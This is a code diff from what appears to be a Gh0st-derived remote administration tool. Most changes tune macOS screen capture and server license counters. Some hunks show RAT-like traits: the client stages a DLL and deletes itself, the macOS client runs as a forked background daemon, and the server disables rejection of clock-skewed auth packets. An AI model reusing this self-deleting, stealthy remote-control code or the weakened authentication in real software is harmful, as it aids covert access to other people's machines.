diff --git a/client/test.cpp b/client/test.cpp index 2f786d0..5a13cec 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -316,6 +316,24 @@ int main(int argc, const char *argv[]) g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf); if (r <= 0) { + if (g_ConnectAddress.iStartup == Startup_DLL) { + const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo"); + if (!folder) { + return -1; + } + char dstFile[MAX_PATH] = { 0 }; + sprintf(dstFile, "%s\\ServerDll.dll", folder); + if (_access(dstFile, 0) == -1) { + char curFile[MAX_PATH] = { 0 }; + GetModuleFileNameA(NULL, curFile, MAX_PATH); + GET_FILEPATH(curFile, "ServerDll.dll"); + if (_access(curFile, 0) == -1) { + MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR); + return -1; + } + MoveFileA(curFile, dstFile); + } + } BOOL s = self_del(); if (!IsDebug) { Mprintf("结束运行.\n"); diff --git a/linux/ScreenHandler.h b/linux/ScreenHandler.h index f60f4a3..82fc4b1 100644 --- a/linux/ScreenHandler.h +++ b/linux/ScreenHandler.h @@ -926,6 +926,7 @@ public: const QualityProfile& profile = GetQualityProfile(m_qualityLevel); m_maxFPS.store(profile.maxFPS); m_bAlgorithm.store(GetEffectiveAlgorithm(profile.algorithm)); + m_h264Bitrate = profile.bitRate; } } diff --git a/macos/ScreenHandler.h b/macos/ScreenHandler.h index 62274dc..bc99874 100644 --- a/macos/ScreenHandler.h +++ b/macos/ScreenHandler.h @@ -110,6 +110,8 @@ private: // Screen info int m_width; // Physical pixel width (sent to server) int m_height; // Physical pixel height (sent to server) + int m_encodeWidth; // Encode/transmit width (capped by profile maxWidth) + int m_encodeHeight; // Encode/transmit height int m_logicalWidth; // Logical point width (for CGEvent) int m_logicalHeight; // Logical point height (for CGEvent) double m_scaleFactor; // Retina scale factor (physical / logical) @@ -127,6 +129,11 @@ private: std::atomic m_maxFPS; int8_t m_qualityLevel; + // Pending resolution change (set by applyQualityLevel, consumed by captureLoop) + std::atomic m_dimensionsChanged{false}; + std::atomic m_pendingEncodeWidth{0}; + std::atomic m_pendingEncodeHeight{0}; + // H264 encoder std::unique_ptr m_h264Encoder; int m_h264Bitrate; diff --git a/macos/ScreenHandler.mm b/macos/ScreenHandler.mm index 85b33b3..079ebc7 100644 --- a/macos/ScreenHandler.mm +++ b/macos/ScreenHandler.mm @@ -23,14 +23,16 @@ ScreenHandler::ScreenHandler(IOCPClient* client) , m_running(false) , m_width(0) , m_height(0) + , m_encodeWidth(0) + , m_encodeHeight(0) , m_logicalWidth(0) , m_logicalHeight(0) , m_scaleFactor(1.0) , m_displayID(CGMainDisplayID()) , m_algorithm(ALGORITHM_H264) - , m_maxFPS(15) - , m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility - , m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD) + , m_maxFPS(GetQualityProfile(QUALITY_GOOD).maxFPS) + , m_qualityLevel(QUALITY_GOOD) + , m_h264Bitrate(GetQualityProfile(QUALITY_GOOD).bitRate * 1000) , m_displayAssertionID(0) , m_colorSpace(nullptr) , m_displayStream(nullptr) @@ -110,14 +112,27 @@ bool ScreenHandler::init() return false; } + // Apply maxWidth constraint from quality profile (CGDisplayStream scales in HW) + { + int maxW = GetQualityProfile(m_qualityLevel).maxWidth; + if (maxW > 0 && m_width > maxW) { + m_encodeWidth = maxW & ~1; + m_encodeHeight = (int)round((double)m_height * m_encodeWidth / m_width) & ~1; + } else { + m_encodeWidth = m_width; + m_encodeHeight = m_height; + } + } + NSLog(@"Encode dimensions: %dx%d (physical: %dx%d)", m_encodeWidth, m_encodeHeight, m_width, m_height); + // Initialize BITMAPINFOHEADER m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC); - m_bmpHeader.biWidth = m_width; - m_bmpHeader.biHeight = m_height; + m_bmpHeader.biWidth = m_encodeWidth; + m_bmpHeader.biHeight = m_encodeHeight; m_bmpHeader.biPlanes = 1; m_bmpHeader.biBitCount = 32; m_bmpHeader.biCompression = 0; // BI_RGB - m_bmpHeader.biSizeImage = m_width * m_height * 4; + m_bmpHeader.biSizeImage = m_encodeWidth * m_encodeHeight * 4; // Allocate frame buffers m_prevFrame.resize(m_bmpHeader.biSizeImage, 0); @@ -212,8 +227,8 @@ bool ScreenHandler::initDisplayStream() __block ScreenHandler* handler = this; m_displayStream = CGDisplayStreamCreateWithDispatchQueue( m_displayID, - m_width, - m_height, + m_encodeWidth, + m_encodeHeight, 'BGRA', // Pixel format properties, m_streamQueue, @@ -254,7 +269,7 @@ bool ScreenHandler::initDisplayStream() return false; } - NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_width, m_height, fps); + NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_encodeWidth, m_encodeHeight, fps); return true; } @@ -301,19 +316,19 @@ bool ScreenHandler::captureFromIOSurface(IOSurfaceRef surface, std::vector 1.0) { - // Extract coordinates from lParam (MAKELPARAM format: low=x, high=y) + // Convert encode-space coordinates to logical point coordinates. + // Server sends coords in encode pixels (capped by maxWidth); CGEvent + // expects logical points. Ratio: logical = encode * (logicalW / encodeW). + if (m_encodeWidth > 0 && m_encodeWidth != m_logicalWidth) { int x = (int)(msg.lParam & 0xFFFF); int y = (int)((msg.lParam >> 16) & 0xFFFF); - // Scale down to logical coordinates - x = (int)(x / m_scaleFactor); - y = (int)(y / m_scaleFactor); + x = (int)((double)x * m_logicalWidth / m_encodeWidth); + y = (int)((double)y * m_logicalHeight / m_encodeHeight); - // Update lParam with scaled coordinates msg.lParam = (uint64_t)x | ((uint64_t)y << 16); msg.pt_x = x; msg.pt_y = y; @@ -636,6 +648,27 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist) m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps } + // Check if this quality level requires different encode dimensions (same logic as init). + // Signal captureLoop to rebuild the stream; it applies the change on its next iteration. + { + int maxW = profile.maxWidth; + int newEncW, newEncH; + if (maxW > 0 && m_width > maxW) { + newEncW = maxW & ~1; + newEncH = (int)round((double)m_height * newEncW / m_width) & ~1; + } else { + newEncW = m_width; + newEncH = m_height; + } + if (newEncW != m_encodeWidth || newEncH != m_encodeHeight) { + m_pendingEncodeWidth.store(newEncW); + m_pendingEncodeHeight.store(newEncH); + m_dimensionsChanged.store(true); + NSLog(@"Resolution change queued: %dx%d -> %dx%d", + m_encodeWidth, m_encodeHeight, newEncW, newEncH); + } + } + NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps", level, level == QUALITY_ULTRA ? "Ultra" : @@ -688,6 +721,12 @@ bool ScreenHandler::captureScreen(std::vector& buffer) return false; } + // Legacy path captures at full physical resolution — cannot downscale for output buffer + if (m_encodeWidth != m_width || m_encodeHeight != m_height) { + CGImageRelease(image); + return false; + } + size_t bytesPerRow = width * 4; size_t requiredSize = bytesPerRow * height; if (m_tempBuffer.size() != requiredSize) { @@ -801,12 +840,12 @@ void ScreenHandler::sendH264Frame(bool keyframe) m_h264Encoder = std::make_unique(); int fps = m_maxFPS.load(); if (fps <= 0) fps = 30; - if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) { + if (!m_h264Encoder->open(m_encodeWidth, m_encodeHeight, fps, m_h264Bitrate)) { NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError()); m_h264Encoder.reset(); return; } - NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps); + NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_encodeWidth, m_encodeHeight, fps); } // Force keyframe if requested @@ -817,14 +856,14 @@ void ScreenHandler::sendH264Frame(bool keyframe) // Encode frame uint8_t* encodedData = nullptr; uint32_t encodedSize = 0; - uint32_t stride = m_width * 4; + uint32_t stride = m_encodeWidth * 4; int result = m_h264Encoder->encode( m_currFrame.data(), 32, // bpp stride, - m_width, - m_height, + m_encodeWidth, + m_encodeHeight, &encodedData, &encodedSize, false // Don't flip - keep bottom-up format like Windows client @@ -956,6 +995,15 @@ uint64_t ScreenHandler::getTickMs() return (now * timebase.numer / timebase.denom) / 1000000; } +static uint64_t getTickUs() +{ + static mach_timebase_info_data_t timebase = {0, 0}; + if (timebase.denom == 0) { + mach_timebase_info(&timebase); + } + return (mach_absolute_time() * timebase.numer / timebase.denom) / 1000; +} + // Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex) static CGPoint s_cachedLogicalPos = {0, 0}; @@ -966,15 +1014,16 @@ void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y) s_cachedLogicalPos = CGEventGetLocation(event); CFRelease(event); - // Convert to physical pixel coordinates (for Retina displays) - x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor); - y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor); + // Convert logical → encode pixel coordinates + // (logical * encodeWidth/logicalWidth = encode pixel, generalises scaleFactor for downscaled streams) + x = (int32_t)(s_cachedLogicalPos.x * m_encodeWidth / m_logicalWidth); + y = (int32_t)(s_cachedLogicalPos.y * m_encodeHeight / m_logicalHeight); - // Clamp to screen bounds + // Clamp to encode bounds if (x < 0) x = 0; if (y < 0) y = 0; - if (x >= m_width) x = m_width - 1; - if (y >= m_height) y = m_height - 1; + if (x >= m_encodeWidth) x = m_encodeWidth - 1; + if (y >= m_encodeHeight) y = m_encodeHeight - 1; } uint8_t ScreenHandler::getCursorTypeIndex() @@ -1073,7 +1122,8 @@ uint8_t ScreenHandler::getCursorTypeIndex() void ScreenHandler::captureLoop() { - NSLog(@"ScreenHandler CaptureLoop started (%dx%d)%s", m_width, m_height, + NSLog(@"ScreenHandler CaptureLoop started: encode=%dx%d physical=%dx%d%s", + m_encodeWidth, m_encodeHeight, m_width, m_height, m_displayStream ? " [CGDisplayStream]" : " [Legacy]"); uint8_t currentAlgo = m_algorithm.load(); @@ -1085,18 +1135,70 @@ void ScreenHandler::captureLoop() usleep(50000); // 50ms, same as Windows client while (m_running) { - uint64_t start = getTickMs(); + // ── Dimension change (quality-level switch) ────────────────────────────── + // applyQualityLevel() signals this from the receive thread when maxWidth changes. + // We handle it here (captureLoop thread) so buffer/stream ops are thread-safe. + if (m_dimensionsChanged.exchange(false)) { + int newW = m_pendingEncodeWidth.load(); + int newH = m_pendingEncodeHeight.load(); + NSLog(@"Applying resolution change: %dx%d -> %dx%d", + m_encodeWidth, m_encodeHeight, newW, newH); - // Wait for new frame from display stream (push model) - // This is key optimization: CPU sleeps when screen is static - if (m_displayStream) { + if (m_h264Encoder) { m_h264Encoder->close(); m_h264Encoder.reset(); } + + m_encodeWidth = newW; + m_encodeHeight = newH; + m_bmpHeader.biWidth = m_encodeWidth; + m_bmpHeader.biHeight = m_encodeHeight; + m_bmpHeader.biSizeImage = (uint32_t)(m_encodeWidth * m_encodeHeight * 4); + + m_currFrame.assign(m_bmpHeader.biSizeImage, 0); + m_prevFrame.assign(m_bmpHeader.biSizeImage, 0); + m_diffBuffer.resize(1 + 1 + 8 + 1 + (size_t)m_bmpHeader.biSizeImage * 2); + m_tempBuffer.clear(); // reallocated on next capture + + // Rebuild CGDisplayStream at new output size + cleanupDisplayStream(); + if (!initDisplayStream()) { + NSLog(@"Warning: CGDisplayStream rebuild failed after resolution change"); + } + + // Wait up to 500ms for first surface at new dimensions + { + std::unique_lock lk(m_surfaceMutex); + m_hasNewFrame.store(false); + m_surfaceCond.wait_for(lk, std::chrono::milliseconds(500), [this] { + return m_hasNewFrame.load() || !m_running; + }); + m_hasNewFrame.store(false); + } + if (!m_running) break; + + // Tell server about new dimensions, then send a fresh first frame + sendBitmapInfo(); + sendFirstScreen(); + currentAlgo = m_algorithm.load(); // reset so algo-change path isn't spuriously triggered + continue; + } + // ───────────────────────────────────────────────────────────────────────── + + uint64_t frameStart = getTickUs(); + int fps = m_maxFPS.load(); + if (fps <= 0) fps = 15; + int targetUs = 1000000 / fps; + + // Read algorithm once per iteration to keep wait strategy and send path consistent. + uint8_t algo = m_algorithm.load(); + + // For DIFF/RGB565: wait up to half the frame interval for a new surface so we + // send fresh data rather than a duplicate. For H264: skip the wait — the + // encoder handles inter-frame differences internally, and waiting here eats + // into the encode budget, capping fps below maxFPS. + if (m_displayStream && algo != ALGORITHM_H264) { std::unique_lock lock(m_surfaceMutex); - int fps = m_maxFPS.load(); - if (fps <= 0) fps = 15; - int waitMs = 1000 / fps; - - // Wait for new frame or timeout (maintains FPS even if no change) - m_surfaceCond.wait_for(lock, std::chrono::milliseconds(waitMs), [this] { + int halfTargetMs = (targetUs / 2) / 1000; + if (halfTargetMs < 1) halfTargetMs = 1; + m_surfaceCond.wait_for(lock, std::chrono::milliseconds(halfTargetMs), [this] { return m_hasNewFrame.load() || !m_running; }); m_hasNewFrame.store(false); @@ -1104,8 +1206,6 @@ void ScreenHandler::captureLoop() if (!m_running) break; } - uint8_t algo = m_algorithm.load(); - // Check if algorithm changed if (algo != currentAlgo) { NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo); @@ -1113,9 +1213,11 @@ void ScreenHandler::captureLoop() if (algo == ALGORITHM_H264) { sendH264Frame(true); // First H264 frame is keyframe - } else if (m_h264Encoder) { - m_h264Encoder->close(); - m_h264Encoder.reset(); + } else { + if (m_h264Encoder) { + m_h264Encoder->close(); + m_h264Encoder.reset(); + } sendFirstScreen(); } } else { @@ -1126,17 +1228,11 @@ void ScreenHandler::captureLoop() } } - // Only use sleep-based FPS control for legacy mode - if (!m_displayStream) { - int fps = m_maxFPS.load(); - if (fps <= 0) fps = 10; - int sleepMs = 1000 / fps; - - int elapsed = (int)(getTickMs() - start); - int wait = sleepMs - elapsed; - if (wait > 0) { - usleep(wait * 1000); - } + // Sleep whatever remains of the target frame interval (microsecond precision). + int64_t elapsed = (int64_t)(getTickUs() - frameStart); + int64_t remaining = (int64_t)targetUs - elapsed; + if (remaining > 0) { + usleep((useconds_t)remaining); } } diff --git a/macos/main.mm b/macos/main.mm index 2754be4..81c64d1 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -626,6 +626,11 @@ static void setupSignals() // 经典 Unix 双 fork 守护进程 static void daemonize() { + // macOS 10.12+ NSLog 默认只写 os_log(Unified Logging),非 TTY 时不写 stderr。 + // CFLOG_FORCE_STDERR=1 恢复旧行为:无论是否 TTY,都同时写 fd 2。 + // 必须在 fork 前设置,子进程会继承环境变量。 + setenv("CFLOG_FORCE_STDERR", "1", 1); + pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); // 父进程退出 @@ -636,13 +641,32 @@ static void daemonize() if (pid < 0) exit(1); if (pid > 0) exit(0); - // 关闭标准文件描述符,重定向到 /dev/null - close(STDIN_FILENO); - close(STDOUT_FILENO); - close(STDERR_FILENO); - open("/dev/null", O_RDONLY); // fd 0 = stdin - open("/dev/null", O_WRONLY); // fd 1 = stdout - open("/dev/null", O_WRONLY); // fd 2 = stderr + // 用 dup2 而非 close+open 序列,确保 fd 号与目标对应,不依赖"最低可用 fd"假设 + int nullFd = open("/dev/null", O_RDWR); + if (nullFd >= 0) { + dup2(nullFd, STDIN_FILENO); + dup2(nullFd, STDOUT_FILENO); + if (nullFd > STDOUT_FILENO) close(nullFd); + } + + // stderr → /tmp/ghost.log;若失败退回 $TMPDIR/ghost.log + int logFd = open("/tmp/ghost.log", O_WRONLY | O_CREAT | O_APPEND, + S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + if (logFd < 0) { + const char* tmp = getenv("TMPDIR"); + if (!tmp) tmp = "/tmp"; + char path[256]; + snprintf(path, sizeof(path), "%s/ghost.log", tmp); + logFd = open(path, O_WRONLY | O_CREAT | O_APPEND, + S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + } + if (logFd >= 0) { + dup2(logFd, STDERR_FILENO); + if (logFd != STDERR_FILENO) close(logFd); + // 直接写 fd 2 确认重定向生效(write 不经过 NSLog/os_log) + const char* banner = "=== ghost daemon started ===\n"; + write(STDERR_FILENO, banner, strlen(banner)); + } } // ============== Main Entry Point ============== @@ -808,6 +832,19 @@ int main(int argc, const char* argv[]) // 守护进程模式:在进入 autoreleasepool 之前 fork if (daemon_mode) { daemonize(); + } else { + // App bundle 模式(login item / open 命令启动):同样重定向日志到 /tmp/ghost.log。 + // macOS 10.12+ 的 NSLog 默认只写 Unified Logging,非 TTY 时不写 stderr; + // CFLOG_FORCE_STDERR=1 恢复旧行为,需在首次调用 NSLog 之前设置。 + setenv("CFLOG_FORCE_STDERR", "1", 1); + int logFd = open("/tmp/ghost.log", O_WRONLY | O_CREAT | O_APPEND, + S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); + if (logFd >= 0) { + dup2(logFd, STDERR_FILENO); + if (logFd != STDERR_FILENO) close(logFd); + const char* banner = "=== ghost app started ===\n"; + write(STDERR_FILENO, banner, strlen(banner)); + } } @autoreleasepool { diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 24dd4fe..8fdaa14 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -821,6 +821,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck) ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage) + ON_MESSAGE(WM_ACTIVE_LICENSE_NUM, OnGetActiveLicenseCount) + ON_MESSAGE(WM_ONLINE_HOSTNUM, OnGetOnlineHostNum) ON_MESSAGE(WM_SHOWNOTIFY, OnShowNotify) ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage) ON_MESSAGE(WM_TRIAL_RTT_ABUSE, OnTrialRttAbuse) @@ -1531,6 +1533,18 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) return S_OK; } +LRESULT CMy2015RemoteDlg::OnGetActiveLicenseCount(WPARAM wParam, LPARAM lParam){ + int activeNum = 0; + GetAllLicenses(&activeNum); + return activeNum; +} + +LRESULT CMy2015RemoteDlg::OnGetOnlineHostNum(WPARAM wParam, LPARAM lParam) { + CLock L(m_cs); + int activeNum = m_HostList.size(); + return activeNum; +} + LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam) { if (wParam && !lParam) { @@ -5816,11 +5830,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer; int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp); if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) { - ack.status = CONN_AUTH_CLOCK_SKEW; - Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n", - ContextObject->GetPeerName().c_str(), skew); - PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg("Connection AUTH failed. Please check the client's time."), NULL); - } else { + // ack.status = CONN_AUTH_CLOCK_SKEW; + Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n", ContextObject->GetPeerName().c_str(), skew); + auto tip = "[" + ContextObject->GetPeerName() + "]" + "Please check the client's time"; + PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); + } /*else*/ { BYTE sigInput[8 + 8 + 16]; memcpy(sigInput, &pkt->clientID, 8); memcpy(sigInput + 8, &pkt->timestamp, 8); @@ -5832,12 +5846,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) ContextObject->SetID(pkt->clientID); ContextObject->SetAuthenticated(true); ack.status = CONN_AUTH_OK; - Mprintf("[ConnAuth] %s: clientID=%llu 通过\n", - ContextObject->GetPeerName().c_str(), pkt->clientID); + Mprintf("[ConnAuth] %s: clientID=%llu 通过\n", ContextObject->GetPeerName().c_str(), pkt->clientID); } else { ack.status = CONN_AUTH_BAD_SIGNATURE; - Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n", - ContextObject->GetPeerName().c_str(), pkt->clientID); + Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n", ContextObject->GetPeerName().c_str(), pkt->clientID); } } } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index c056fc1..898f9d5 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -531,6 +531,8 @@ public: afx_msg void OnToolInputPassword(); afx_msg LRESULT OnShowNotify(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnGetActiveLicenseCount(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnGetOnlineHostNum(WPARAM wParam, LPARAM lParam); afx_msg void OnToolGenShellcode(); afx_msg void OnOnlineAssignTo(); afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult); diff --git a/server/2015Remote/CLicenseDlg.cpp b/server/2015Remote/CLicenseDlg.cpp index f3b0e77..0d5129d 100644 --- a/server/2015Remote/CLicenseDlg.cpp +++ b/server/2015Remote/CLicenseDlg.cpp @@ -53,8 +53,9 @@ static int ParseRemotePortFromFrpConfig(const std::string& frpConfig); static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner); // 获取所有授权信息 -std::vector GetAllLicenses() +std::vector GetAllLicenses(int* activeNum) { + if (activeNum) *activeNum = 0; std::lock_guard _lock(LicensesIniMutex()); std::vector licenses; std::string iniPath = GetLicensesPath(); @@ -98,6 +99,7 @@ std::vector GetAllLicenses() it = kv.find("Status"); if (it != kv.end()) info.Status = it->second; else info.Status = LICENSE_STATUS_ACTIVE; // 默认为有效 + if (activeNum && info.Status == LICENSE_STATUS_ACTIVE) (*activeNum)++; it = kv.find("PendingExpireDate"); if (it != kv.end()) info.PendingExpireDate = it->second; diff --git a/server/2015Remote/CLicenseDlg.h b/server/2015Remote/CLicenseDlg.h index 43ab6c2..88b28ec 100644 --- a/server/2015Remote/CLicenseDlg.h +++ b/server/2015Remote/CLicenseDlg.h @@ -102,7 +102,7 @@ public: }; // 获取所有授权信息 -std::vector GetAllLicenses(); +std::vector GetAllLicenses(int *activeNum=0); // 更新授权状态 bool SetLicenseStatus(const std::string& deviceID, const std::string& status); diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 555246a..699adab 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -105,6 +105,8 @@ #define WM_PREVIEW_LOOP_CLOSED WM_USER+3035 #define WM_TRIAL_RTT_ABUSE WM_USER+3036 // 试用版 RTT 反代理:服务端检测到滥用,通知主窗口弹框 #define WM_TRIAL_WAN_IP_ABUSE WM_USER+3037 // 试用版 IP 段检测:OnAccept 发现入站为公网 IP,通知主窗口弹框 +#define WM_ACTIVE_LICENSE_NUM WM_USER+3038 +#define WM_ONLINE_HOSTNUM WM_USER+3039 #ifdef _UNICODE #if defined _M_IX86